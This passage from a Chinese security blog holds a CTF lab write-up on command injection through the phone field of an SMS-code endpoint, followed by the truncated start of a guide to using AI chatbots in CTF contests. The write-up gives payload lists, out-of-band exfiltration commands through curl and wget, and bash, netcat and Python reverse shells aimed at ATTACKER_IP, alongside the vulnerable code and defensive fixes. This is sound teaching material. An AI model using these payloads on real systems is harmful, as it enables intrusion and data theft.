\u0026gt; /app/static/ls.txt\u0026#34;} 2{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; ls -la /tmp \u0026gt; /app/static/tmp.txt\u0026#34;} 通过多次探测发现：\n当前目录：/app 可写目录：/app/static Flag位置：/tmp/flag.txt（通过ls /tmp发现） 6. 获取Flag 最终Payload：\n1POST /send HTTP/1.1 2Host: iuuga86.haobachang.loveli.com.cn:8888 3Content-Type: application/json 4Content-Length: 70 5 6{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; cat /tmp/flag.txt \u0026gt; /app/static/report.txt\u0026#34;} 访问：http://iuuga86.haobachang.loveli.com.cn:8888/static/report.txt\n成功获取Flag：\nflag{976372a77dfd46b1816e229952e4a15e} 漏洞原因分析 后端代码可能类似：\n1import os 2from flask import Flask, request 3 4@app.route(\u0026#39;/send\u0026#39;, methods=[\u0026#39;POST\u0026#39;]) 5def send_sms(): 6 phone = request.json.get(\u0026#39;phone\u0026#39;) 7 # 危险：直接将用户输入拼接到shell命令中 8 os.system(f\u0026#34;send_sms.sh {phone}\u0026#34;) 9 return {\u0026#34;success\u0026#34;: True, \u0026#34;msg\u0026#34;: \u0026#34;验证码发送成功\u0026#34;} 用户可控的 phone 参数被直接拼接到 os.system() 中执行，导致命令注入。\n防御建议 输入验证：严格验证手机号格式，使用正则表达式 ^1[3-9]\\d{9}$ 避免shell调用：使用Python的SMS库直接发送，避免调用shell命令 参数化：如必须使用shell，使用 subprocess 的列表参数形式 最小权限：限制应用运行权限，避免访问敏感文件 1# 安全的实现方式 2import re 3import subprocess 4 5def send_sms(phone): 6 # 严格验证手机号 7 if not re.match(r\u0026#39;^1[3-9]\\d{9}$\u0026#39;, phone): 8 return {\u0026#34;success\u0026#34;: False, \u0026#34;msg\u0026#34;: \u0026#34;无效手机号\u0026#34;} 9 10 # 使用参数化调用，避免命令注入 11 subprocess.run([\u0026#39;/usr/bin/send_sms.sh\u0026#39;, phone], check=True) 12 return {\u0026#34;success\u0026#34;: True, \u0026#34;msg\u0026#34;: \u0026#34;发送成功\u0026#34;} 总结 这道题目考查了：\n验证码爆破：4位纯数字验证码的安全风险 命令注入识别：通过sleep延时判断 盲注技巧：无回显情况下的数据外带 目录探测：寻找可写且可访问的web目录 实战思路：当常规外带方式失败时，灵活寻找其他突破点 Flag: flag{976372a77dfd46b1816e229952e4a15e}\n意外发现，id居然是root，不是www-data，而是直接就是root。那怎么好意思不进来看看呢？\nPython反弹Shell 1{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; python3 -c \u0026#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\u0026#34;YOUR_IP\\\u0026#34;,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\\\u0026#34;/bin/bash\\\u0026#34;,\\\u0026#34;-i\\\u0026#34;])\u0026#39;; sleep 5\u0026#34;} YOUR_IP 用自己的公网服务器IP，推荐使用大麦云，找客服要优惠码 https://www.whdmw.com/recommend/A16nUFoB1Jhs\n弹回shell后cat app.py 看逻辑\n1 2from flask import Flask, render_template, request, jsonify 3import os 4import sqlite3 5from sqlite3 import Error 6import time 7import random 8app = Flask(__name__) 9 10 11# 用于存储手机号和验证码的映射 12phone_code_map = {} 13# 用于记录每个手机号的验证码发送次数 14phone_send_count = {} 15 16@app.route(\u0026#39;/\u0026#39;) 17def index(): 18 # 将参数传递给模板 19 return render_template(\u0026#39;login.html\u0026#39;) 20 21@app.route(\u0026#39;/send\u0026#39;, methods=[\u0026#39;POST\u0026#39;]) 22def send_code(): 23 print(\u0026#34;123\u0026#34;) 24 data = request.get_json() 25 phone = data.get(\u0026#39;phone\u0026#39;, \u0026#39;\u0026#39;) 26 # 记录发送次数 27 count = phone_send_count.get(phone, 0) 28 phone_send_count[phone] = count + 1 29 print(f\u0026#34;手机号 {phone} 已发送验证码次数: {phone_send_count[phone]}\u0026#34;) 30 print(f\u0026#34;echo {phone} \u0026gt;\u0026gt; phone.txt\u0026#34;) 31 os.system(f\u0026#34;echo {phone} \u0026gt;\u0026gt; phone.txt\u0026#34;) 32 # 生成6位验证码 33 code = \u0026#39;\u0026#39;.join([str(random.randint(0, 9)) for _ in range(4)]) 34 print(\u0026#34;123\u0026#34;) 35 # 将验证码和手机号绑定 36 phone_code_map[phone] = code 37 msg = f\u0026#39;验证码发送成功\u0026#39; 38 return jsonify({\u0026#39;success\u0026#39;: True, \u0026#39;msg\u0026#39;: msg}) 39 40@app.route(\u0026#39;/login\u0026#39;, methods=[\u0026#39;POST\u0026#39;]) 41def login(): 42 data = request.get_json() 43 phone = data.get(\u0026#39;phone\u0026#39;, \u0026#39;\u0026#39;) 44 input_code = data.get(\u0026#39;code\u0026#39;, \u0026#39;\u0026#39;) 45 # 校验手机号格式 46 if not phone or not phone.isdigit() or len(phone) != 11 or not phone.startswith(\u0026#39;1\u0026#39;): 47 return jsonify({\u0026#39;success\u0026#39;: False, \u0026#39;msg\u0026#39;: \u0026#39;手机号格式不正确\u0026#39;}) 48 # 校验验证码格式 49 if not input_code or not input_code.isdigit() or len(input_code) != 4: 50 return jsonify({\u0026#39;success\u0026#39;: False, \u0026#39;msg\u0026#39;: \u0026#39;验证码格式不正确\u0026#39;}) 51 # 验证码校验，需和手机号绑定 52 code = phone_code_map.get(phone) 53 if not code or input_code != code: 54 return jsonify({\u0026#39;success\u0026#39;: False, \u0026#39;msg\u0026#39;: \u0026#39;验证码错误\u0026#39;}) 55 # 登录成功 56 # 这里可以进行用户注册或登录逻辑 57 return jsonify({\u0026#39;success\u0026#39;: True, \u0026#39;msg\u0026#39;: \u0026#39;恭喜登录成功了，但是登录成功了也没有Flag\u0026#39;}) 58 59 60if __name__ == \u0026#39;__main__\u0026#39;: 61 app.run(host=\u0026#39;0.0.0.0\u0026#39;, port=80) 漏洞分析 关键代码（第26-27行） 1print(f\u0026#34;echo {phone} \u0026gt;\u0026gt; phone.txt\u0026#34;) 2os.system(f\u0026#34;echo {phone} \u0026gt;\u0026gt; phone.txt\u0026#34;) 这就是典型的命令注入漏洞！\n漏洞原理 用户可控输入：phone 参数完全来自用户的POST请求 直接拼接到shell命令：使用 os.system() 直接执行拼接的字符串 没有任何过滤：虽然后面有格式验证（第42-43行），但这些验证在 /login 路由中，而命令注入在 /send 路由的验证之前就执行了 攻击流程 用户请求 /send ↓ 获取 phone 参数 ↓ 直接执行 os.system(f\u0026#34;echo {phone} \u0026gt;\u0026gt; phone.txt\u0026#34;) ← 命令注入点 ↓ 生成验证码 ↓ 返回成功 为什么需要 sleep？ 查看代码逻辑：\n/send 路由执行命令后立即返回响应 如果命令执行时间过长，HTTP响应可能在命令完成前就返回了 添加 sleep 5 确保： 命令有足够时间执行完成 文件写入操作完成 防止进程被过早终止 漏洞利用示例 1# 正常使用 2phone = \u0026#34;18888888888\u0026#34; 3# 实际执行: echo 18888888888 \u0026gt;\u0026gt; phone.txt 4 5# 命令注入 6phone = \u0026#34;18888888888; cat /tmp/flag.txt \u0026gt; /app/static/flag.txt\u0026#34; 7# 实际执行: echo 18888888888; cat /tmp/flag.txt \u0026gt; /app/static/flag.txt \u0026gt;\u0026gt; phone.txt 8# ^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 9# 正常命令 注入的恶意命令 10 11# 加上sleep确保执行 12phone = \u0026#34;18888888888; cat /tmp/flag.txt \u0026gt; /app/static/flag.txt; sleep 5\u0026#34; Question 怎么就发现了sleep 5 的那里我还想问一下，就是{\u0026ldquo;phone\u0026rdquo;:\u0026ldquo;18888888888\u0026rdquo;} 这里，怎么 想到sleep5 的，除了这个还有其他测试命令码\n好问题！这是渗透测试中非常重要的思路。让我详细讲解命令注入的发现和测试过程：\n命令注入漏洞的发现思路 1. 初步怀疑阶段 当看到这样的场景时，应该怀疑可能存在命令注入：\n触发条件：\n接口接收用户输入（手机号、邮箱、文件名等） 题目提示\u0026quot;采购的工具\u0026quot;、\u0026ldquo;第三方服务\u0026rdquo;（暗示可能使用shell脚本） 后端可能是Python/PHP/Node.js等脚本语言 功能涉及系统级操作（发送短信、文件处理、图片处理等） 心理过程：\n用户输入 → 后端处理 → 如果后端直接调用系统命令？ ↓ \u0026#34;发送验证码\u0026#34; → 可能调用短信发送脚本/工具 ↓ 是否直接拼接了用户输入？ 2. 为什么首先想到用 sleep？ Sleep是命令注入测试的\u0026quot;黄金标准\u0026quot; 原因：\nA. 盲注友好 1# 不需要看到输出，通过\u0026#34;时间\u0026#34;就能判断 2正常请求耗时: 0.5秒 3注入sleep 5: 5.5秒 ← 明显差异！ B. 跨平台兼容 1Linux: sleep 5 2Windows: timeout /t 5 3通用性强，几乎所有系统都有 C. 无副作用 1# 不会破坏系统 2❌ rm -rf / # 危险！ 3❌ cat /etc/passwd # 可能触发IDS 4✅ sleep 5 # 安全，只是等待 D. 绕过输出过滤 1# 即使返回被过滤，时间延迟无法隐藏 2Response: {\u0026#34;success\u0026#34;: true} # 看起来正常 3但响应时间: 5秒 # 暴露了漏洞！ 3. 完整的命令注入测试流程 阶段1：初步探测（使用延时） 测试用例1：基础延时 1# Linux 2{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; sleep 5\u0026#34;} 3{\u0026#34;phone\u0026#34;:\u0026#34;18888888888 \u0026amp;\u0026amp; sleep 5\u0026#34;} 4{\u0026#34;phone\u0026#34;:\u0026#34;18888888888 | sleep 5\u0026#34;} 5{\u0026#34;phone\u0026#34;:\u0026#34;18888888888 || sleep 5\u0026#34;} 6 7# Windows 8{\u0026#34;phone\u0026#34;:\u0026#34;18888888888 \u0026amp; timeout /t 5\u0026#34;} 9{\u0026#34;phone\u0026#34;:\u0026#34;18888888888 \u0026amp;\u0026amp; ping 127.0.0.1 -n 6\u0026#34;} 判断方法：\n1import time 2 3start = time.time() 4# 发送请求 5resp = requests.post(url, json={\u0026#34;phone\u0026#34;: \u0026#34;18888888888; sleep 5\u0026#34;}) 6elapsed = time.time() - start 7 8if elapsed \u0026gt;= 4.5: # 考虑网络延迟 9 print(\u0026#34;✓ 命令注入存在！\u0026#34;) 测试用例2：不同的命令分隔符 1# 分号（最常用） 2; sleep 5 3 4# AND运算符（前一个命令成功才执行） 5\u0026amp;\u0026amp; sleep 5 6 7# OR运算符（前一个命令失败才执行） 8|| sleep 5 9 10# 管道符（将前一个命令输出传给后面） 11| sleep 5 12 13# 反引号（命令替换） 14`sleep 5` 15 16# $() 命令替换（更现代） 17$(sleep 5) 18 19# 换行符（部分场景） 20%0a sleep 5 21\\n sleep 5 22 23# 后台执行 24\u0026amp; sleep 5 测试用例3：测试不同的延时时长 1# 用于确认是否真的是命令注入 2{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; sleep 3\u0026#34;} # 3秒 3{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; sleep 7\u0026#34;} # 7秒 4{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; sleep 10\u0026#34;} # 10秒 5 6# 如果响应时间与sleep参数对应，基本确认漏洞 阶段2：确认命令执行环境 测试用例4：判断操作系统 1# Linux探测 2{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; uname -a \u0026gt; /tmp/test\u0026#34;} 3{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; cat /etc/os-release \u0026gt; /tmp/test\u0026#34;} 4 5# Windows探测 6{\u0026#34;phone\u0026#34;:\u0026#34;18888888888 \u0026amp; ver\u0026#34;} 7{\u0026#34;phone\u0026#34;:\u0026#34;18888888888 \u0026amp; systeminfo\u0026#34;} 测试用例5：判断当前用户 1{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; whoami \u0026gt; /tmp/user.txt\u0026#34;} 2{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; id \u0026gt; /tmp/user.txt\u0026#34;} 测试用例6：判断当前目录 1{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; pwd \u0026gt; /tmp/pwd.txt\u0026#34;} 2{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; ls -la \u0026gt; /tmp/ls.txt\u0026#34;} 阶段3：数据回显测试 测试用例7：写入Web可访问目录 1# 假设是Flask/Django应用 2{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; echo test123 \u0026gt; /app/static/test.txt\u0026#34;} 3{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; whoami \u0026gt; ./static/out.txt\u0026#34;} 4 5# PHP应用 6{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; echo test \u0026gt; /var/www/html/test.txt\u0026#34;} 7 8# 通用尝试 9{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; pwd \u0026gt; ./test.txt\u0026#34;} 测试用例8：DNS外带（需要有网络） 1# 使用DNSLog 2{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; nslookup test.dnslog.cn\u0026#34;} 3{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; ping -c 1 test.dnslog.cn\u0026#34;} 4{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; curl http://test.dnslog.cn\u0026#34;} 测试用例9：HTTP外带 1# 使用RequestBin/Webhook.site 2{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; curl http://webhook.site/xxx?data=$(whoami)\u0026#34;} 3{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; wget http://requestbin.net/xxx --post-data=\u0026#39;data=$(id)\u0026#39;\u0026#34;} 阶段4：高级利用 测试用例10：反弹Shell 1# Bash反弹 2{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; bash -i \u0026gt;\u0026amp; /dev/tcp/ATTACKER_IP/4444 0\u0026gt;\u0026amp;1\u0026#34;} 3 4# NC反弹 5{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; nc ATTACKER_IP 4444 -e /bin/bash\u0026#34;} 6{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2\u0026gt;\u0026amp;1|nc ATTACKER_IP 4444 \u0026gt;/tmp/f\u0026#34;} 7 8# Python反弹 9{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; python -c \u0026#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\u0026#34;ATTACKER_IP\\\u0026#34;,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\\\u0026#34;/bin/bash\\\u0026#34;,\\\u0026#34;-i\\\u0026#34;])\u0026#39;\u0026#34;} 4. 除了sleep，还有哪些测试命令？ 基于时间的盲注（推荐，优先级最高） 1# Linux 2sleep 5 # 最常用 3ping -c 5 127.0.0.1 # 延时5秒 4timeout 5 # 需要安装 5 6# Windows 7timeout /t 5 # CMD 8ping 127.0.0.1 -n 6 # 6次ping（约5秒） 9Start-Sleep -s 5 # PowerShell 10 11# 跨平台（通过脚本） 12python -c \u0026#34;import time; time.sleep(5)\u0026#34; 13perl -e \u0026#34;sleep 5\u0026#34; 14ruby -e \u0026#34;sleep 5\u0026#34; 基于布尔的盲注 1# 测试文件是否存在 2# 如果存在则sleep 3{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; [ -f /etc/passwd ] \u0026amp;\u0026amp; sleep 5\u0026#34;} 4{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; test -f /etc/passwd \u0026amp;\u0026amp; sleep 5\u0026#34;} 5 6# 如果不存在则sleep 7{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; [ ! -f /notexist ] \u0026amp;\u0026amp; sleep 5\u0026#34;} 8 9# 测试用户权限 10{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; [ $(whoami) = \u0026#39;root\u0026#39; ] \u0026amp;\u0026amp; sleep 5\u0026#34;} 基于输出的测试（需要回显） 1# 简单命令 2whoami # 当前用户 3id # 用户ID和组 4pwd # 当前目录 5hostname # 主机名 6uname -a # 系统信息 7 8# 文件读取 9cat /etc/passwd 10cat /tmp/flag.txt 11ls -la / 12find / -name \u0026#34;flag*\u0026#34; 13 14# 网络信息 15ifconfig 16ip addr 17netstat -tulnp 基于文件的测试 1# 创建标记文件 2{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; touch /tmp/pwned\u0026#34;} 3{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; echo hacked \u0026gt; /tmp/test.txt\u0026#34;} 4 5# 写入特定内容 6{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; date \u0026gt; /tmp/timestamp.txt\u0026#34;} 7{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; whoami \u0026gt; /app/static/user.txt\u0026#34;} 基于错误的测试 1# 故意触发错误，观察响应 2{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; invalidcommand\u0026#34;} 3{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; cat /nonexistent\u0026#34;} 4 5# 语法错误 6{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; $(\u0026#34;} 7{\u0026#34;phone\u0026#34;:\u0026#34;18888888888; `\u0026#34;} 6. 实战技巧总结 为什么sleep是首选？ 测试方法 优点 缺点 sleep延时 ✅ 无需回显\n✅ 跨平台\n✅ 无副作用\n✅ 易于自动化 ❌ 受网络延迟影响 文件写入 ✅ 可验证执行\n✅ 持久化 ❌ 需要知道路径\n❌ 需要写权限 DNS外带 ✅ 无需回显\n✅ 可获取数据 ❌ 需要网络\n❌ 可能被监控 反弹Shell ✅ 交互式\n✅ 权限最大 ❌ 容易被发现\n❌ 需要公网IP 测试顺序建议 1. sleep延时测试（确认漏洞存在） ↓ 2. 环境探测（操作系统、权限、路径） ↓ 3. 数据回显（写入文件或外带） ↓ 4. 获取目标数据（读flag、敏感文件） ↓ 5. 持久化/提权（可选） 总结 为什么想到sleep？\n这是渗透测试的标准做法 时间延迟是最可靠的盲注指标 无副作用，安全性高 教程和工具都优先推荐这个方法 其他测试命令的选择：\n有回显 → 用 whoami, id, pwd 无回显 → 用 sleep, DNS外带 需要数据 → 写入web目录或反弹shell 需要持久化 → 添加用户、计划任务 记住：先用sleep验证漏洞存在，再根据具体情况选择后续利用方式。这是最稳妥的思路！\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2026-01-05T20:56:02+08:00","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251219144259217.png","permalink":"/post/%E5%A5%BD%E9%9D%B6%E5%9C%BA-%E5%B0%8F%E7%8E%8B%E9%87%87%E8%B4%AD%E4%BA%86%E4%B8%80%E4%B8%AA%E5%8F%91%E9%80%81%E9%AA%8C%E8%AF%81%E7%A0%81%E7%9A%84%E5%B7%A5%E5%85%B7-wp/","title":"好靶场-小王采购了一个发送验证码的工具-WP"},{"content":" 比赛还有24小时开始，你刚接触CTF不到一个月，队友临时有事退赛，你一个人要顶上。Web、Reverse、Crypto、Pwn、Misc五个方向，你只熟悉一点Web基础。这时候，AI就是你的救命稻草。 本指南将告诉你：如何在24小时内，用AI武装自己，从\u0026quot;萌新\u0026quot;变成\u0026quot;能拿分的选手\u0026quot;。\n关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取OSCP相关工具。\n前言：AI时代的CTF新玩法 AICTF的特点与传统CTF的区别 传统CTF：靠个人积累的知识储备、熟练的工具使用、长期的经验沉淀 AI加持的CTF：外置智库大脑，实时获取建议、快速生成工具、降低知识门槛 核心变化：从\u0026quot;我会什么\u0026quot;到\u0026quot;我能问什么\u0026quot; —— 提问能力成为新的核心竞争力 为什么AI能成为CTF的\u0026quot;急救包\u0026quot; 知识壁垒的粉碎机：AI相当于随身携带的CTF百科全书 + 编程助手\n\u0026ldquo;乱拳打死老师傅\u0026quot;不是笑话：\n新手缺乏系统知识？AI可以弥补知识盲区 老手经验丰富？AI提供更多角度的思路 合理运用AI工具，初学者也能解决中高难度题目 现实倒逼你必须学会用AI：\n目前大多数全国性CTF比赛（各类\u0026quot;XX杯\u0026quot;初赛）并未明确禁止使用AI 部分比赛甚至鼓励使用AI，仅要求在WriteUp中附上对话记录 连黑灰产攻击者都在用AI辅助渗透，作为未来白帽的预备军还不会用AI？这就像用长矛对抗电磁炮 —— 时代变了，工具也该升级了 本指南的定位： 24小时赛场生存指南 —— 不求精通，但求能上场打 抛砖引玉的入门手册 —— 给你方向，剩下的路自己走 实战导向的速成教程 —— 理论够用就行，重在能解题 授人以渔的AI应用指南 —— 教你的不是答案，是提问的方法 适用人群： CTF初学者 —— 刚入坑不久，基础薄弱但想参赛的选手 想快速上手AI工具的选手 —— 听说过AI很强，但不知道怎么用在CTF上 临时抱佛脚的参赛者 —— 比赛在即，需要短时间内提升战斗力 好奇AI+CTF玩法的人 —— 想了解AI如何改变CTF生态 时间有限的在校学生 —— 课业繁重，没时间系统学习，但想体验CTF 本指南不适合： 期待完全依赖AI自动解题的人（配合MCP等工具才能做到，本指南只用于一个紧急指南，不会指导初学者搭建复杂的AI平台） 想要系统深入学习CTF各方向知识的人（这需要更长时间的积累，推荐刷靶场和看手册，本公众号下也有相关文章） 已经熟练使用AI辅助CTF的老手（你们可能比我还会玩） 你能从本指南获得什么： ✅ 30分钟内完成AI平台注册并开始使用 ✅ 掌握5大方向（Web/Reverse/Crypto/Pwn/Misc）的AI辅助解题套路 ✅ 学会用AI生成批量下载、数据处理等实用脚本 ✅ 了解AI的能力边界，知道问什么，怎么问 ✅ 获得后续深入学习的方向和资源清单 你无法从本指南获得什么： ❌ 成为CTF大师的完整路线图（24小时做不到） ❌ 各方向知识的系统性讲解（那需要几个月甚至几年） ❌ 保证拿奖的方案（AI很强，但CTF赛题也在进化，还有专业“赛棍”，使用AI只能保证能答出签到题以外的部分题目，让你比赛的几个小时内不至于完全坐牢，让你赛后和带队老师or领导交代的时候面子上好看一点） 一、工欲善其事：AI平台选择与对比 主流AI平台推荐 在CTF场景下，以下六个平台是目前最实用的选择：\n国际平台（需科学上网）：\nClaude（Anthropic）—— 代码能力天花板，逆向分析神器\nChatGPT Plus（OpenAI）—— 老牌强者，但免费版是\u0026quot;人工智障\u0026rdquo;\nGemini（Google）—— 性能强劲，但思考过程不透明\nGemini 的思考是“摘要型”思考，用户无法查看完整的AI思考过程\n国内平台（国内直连）：\nDeepSeek —— 思考能力优秀，但服务器常崩溃 元宝（腾讯）—— 套壳DeepSeek，但服务器更稳定 通义千问（阿里）—— 代码能力强，配合夸克插件效率拉满 各平台特点对比表格 平台 代码能力 需要科学上网 服务稳定性 免费额度 是否推荐会员 CTF特色功能 Claude ⭐⭐⭐⭐⭐ ✅ 需要 ⭐⭐⭐⭐⭐ 少 💰 强烈推荐 可上传文件+内置Linux分析 ChatGPT Plus ⭐⭐⭐⭐ ✅ 需要 ⭐⭐⭐⭐ 免费版很菜 💰 推荐 限制较多，经常拒答 Gemini ⭐⭐⭐⭐⭐ ✅ 需要 ⭐⭐⭐⭐ 中等 💰 有钱可买 不显示思考过程 DeepSeek ⭐⭐⭐⭐ ❌ 不需要 ⭐⭐⭐ 充足 🆓 免费够用 代码能力扎实，多调试几次能跑 元宝 ⭐⭐⭐⭐ ❌ 不需要 ⭐⭐⭐⭐⭐ 充足 🆓 免费够用 DeepSeek套壳，但更稳定 通义千问 ⭐⭐⭐⭐⭐ ❌ 不需要 ⭐⭐⭐⭐ 充足 🆓 免费够用 夸克插件速通理论题 详细能力分析 代码能力对比 第一梯队（CTF首选）：\nClaude：代码能力最强，逻辑清晰，特别擅长复杂算法和逆向分析 Gemini：代码质量高，但不显示完整推理过程，有时像\u0026quot;黑箱\u0026quot; 通义千问：代码能力扎实，中文理解好，适合国内CTF 第二梯队（可用但需调试）：\nChatGPT Plus：还行，但有各种限制，经常以\u0026quot;安全\u0026quot;为由拒绝回答 DeepSeek/元宝：比第一梯队略弱，但多试几次也能跑通 不推荐梯队（免费版ChatGPT）：\nGPT-3.5免费版就是个\u0026quot;人工智障\u0026quot;，别浪费时间 网络访问与稳定性 需要科学上网（国际平台）：\nClaude、ChatGPT、Gemini 都需要科学上网 稳定性都不错，但国内访问可能有延迟 无需科学上网（国内平台）：\nDeepSeek：服务器经常崩，高峰期容易卡死 元宝：套壳DeepSeek但服务器更稳，强烈推荐用它代替DeepSeek 通义千问：阿里云支持，稳定性好 免费额度与会员建议 强烈推荐买会员：\nClaude、ChatGPT Plus、Gemini —— 免费版对话次数太少，关键时刻掉链子 有“强大”经济能力的话，三个都买，互为备份。囊肿羞涩的话无脑冲Claude 免费版够用：\nDeepSeek、元宝、通义千问 —— 免费额度充足，不用花钱 针对CTF场景的推荐配置 💰 土豪配置（预算充足） 主力：Claude Pro（逆向+代码） 备用：ChatGPT Plus（多角度验证） 辅助：Gemini Pro（快速生成） 国内备胎：元宝/千问（防止科学上网失败） 🎯 实用配置（推荐） 主力：Claude Pro（必买，逆向神器） 免费：元宝 + 通义千问（国内双保险） 备用：Gemini免费版（偶尔用用） 🆓 白嫖配置（学生党） 主力：元宝（DeepSeek套壳，免费且稳定） 辅助：通义千问（配合夸克插件速通理论） 备用：Claude免费版（省着点用，关键时刻上） CTF场景下的独门绝技 Claude的杀手锏 ✅ 可以直接上传二进制文件（exe、elf等） ✅ 内置Linux虚拟环境，可以直接运行程序分析 ✅ 逆向题直接拖进去让它分析，效率拉满 ✅ 代码逻辑理解最强，适合复杂算法题 通义千问的特殊用法 ✅ 配合夸克浏览器AI插件 ✅ 可以直接在答题页面调用AI ✅ 理论题秒答，不用来回复制粘贴 ChatGPT的坑 ❌ 会限制上传的文件类型（安全审查严格） ❌ 遇到\u0026quot;敏感\u0026quot;内容就拒答（比如shellcode分析） ❌ Plus版虽然强，但\u0026quot;道德感\u0026quot;太重 Gemini的特点 ⚠️ 能力很强，但不显示详细思考过程 ⚠️ 数学能力很强，适合密码题目 多平台协同使用策略（互补短板） 策略一：主备轮换 1. 先用Claude分析题目（最强大脑） 2. 如果Claude卡壳，换ChatGPT试试 3. 两个都不行，用元宝/千问换个思路，很多时候Claude容易钻牛角尖 策略二：功能分工 - 逆向题 → Claude（上传文件+Linux环境） - 理论题 → 千问（配合夸克插件） - 代码题 → Claude/千问（代码能力强） - Crypto → Claude/Gemini（数学推理好） - Web题 → 任意（都能胜任） 策略三：交叉验证 遇到关键题目： 1. 同时问Claude和Gemini 2. 对比两个答案的差异 3. 用元宝/千问做第三方验证 4. 人工判断哪个更靠谱 策略四：翻墙失败应急预案 - 主力Claude翻墙挂了？→ 立刻切换元宝 - 元宝的代码跑不通？→ 换通义千问 - 千问也卡？→ 本地ollama模型 不推荐使用的AI平台 以下平台在CTF场景下性价比低或功能不匹配：\n平台 不推荐理由 豆包 主打生活助手，代码能力弱 Kimi 侧重长文本处理，不适合代码任务 文心一言 UI界面不友好，代码展示差 智谱清言 功能定位偏学术，CTF场景差 Grok 还在完善中，稳定性不足 小贴士：\n注册多个平台账号，防止单点故障 比赛前测试好所有平台能否正常访问 准备好备用科学上网方案（多个节点，可关注公众号获取） 国内平台虽然免翻墙，但Claude的逆向能力真的值得你折腾 二、快速起步：AI平台注册实战 国际平台注册指南（需翻墙） 核心三大平台 平台 注册地址 推荐注册方式 Claude https://claude.ai/ Gmail邮箱 ChatGPT https://chatgpt.com/ Gmail邮箱 Gemini https://gemini.google.com/ Gmail邮箱（Google账号直接登录） 注册前的准备工作 1. 科学上网环境检查\n✅ 确保代理稳定（建议美国/日本节点） ✅ 测试能否访问 Google、OpenAI 官网 ✅ 准备一个干净的浏览器环境 2. Gmail邮箱准备\n如果没有Gmail，先注册一个（注册过程也需要翻墙） 建议专门注册一个用于AI平台的Gmail账号 邮箱名尽量正常（人名和有意义的英文单词），避免随机字符（降低被风控概率） CPT 和 Claude的Plus会员获取：\n⚠️ 重要提示：Claude 和 OpenAI 锁区 + 不支持国内信用卡 推荐方案：某宝购买\n搜索关键词：\u0026ldquo;ChatGPT Plus 代充\u0026rdquo; 或 \u0026ldquo;ChatGPT 账号\u0026rdquo; 重要：一个月一个月买，不要买年付！ 原因：代付款有被封号风险，买太久浪费钱 价格参考：130-140元/月（随市场波动） 选择信誉高的店铺（看评价和月销量） 某宝购买注意事项：\n✅ 优先选择\u0026#34;独享账号\u0026#34;而非\u0026#34;共享账号\u0026#34; ✅ 问清楚售后政策（封号是否补发） ✅ 不要在账号里存重要对话记录 Gemini 升级Pro（可选）\nGemini支持国内Visa卡支付！ 需要一张外币副卡（大部分银行信用卡都有） 点击 \u0026ldquo;Upgrade to Gemini Advanced\u0026rdquo; 填写信用卡信息即可开通 价格：约 $19.99/月 Gemini付费优势：\n✅ 可以用国内信用卡（比Claude/GPT方便） ✅ 不需要某宝代付（安全性高） ✅ 可以随时取消订阅 国内平台注册指南 三大主力平台 平台 注册地址 注册方式 特点 DeepSeek https://chat.deepseek.com/ 手机号 代码能力强，但服务器常崩 元宝 https://yuanbao.tencent.com/ 手机号/微信 DeepSeek套壳，更稳定 通义千问 https://www.qianwen.com/chat 手机号/淘宝 配合夸克插件效率高 国内平台使用建议 ✅ 三个都注册，互为备份 ✅ DeepSeek崩了立刻切换元宝 ✅ 通义千问装上夸克插件（下文详述） ✅ 无需付费，免费额度完全够用 AI整合工具与IDE平台 除了直接使用AI网页版，还有一些更高效的工具：\n🔧 专业编程IDE（推荐CTF选手使用） 1. 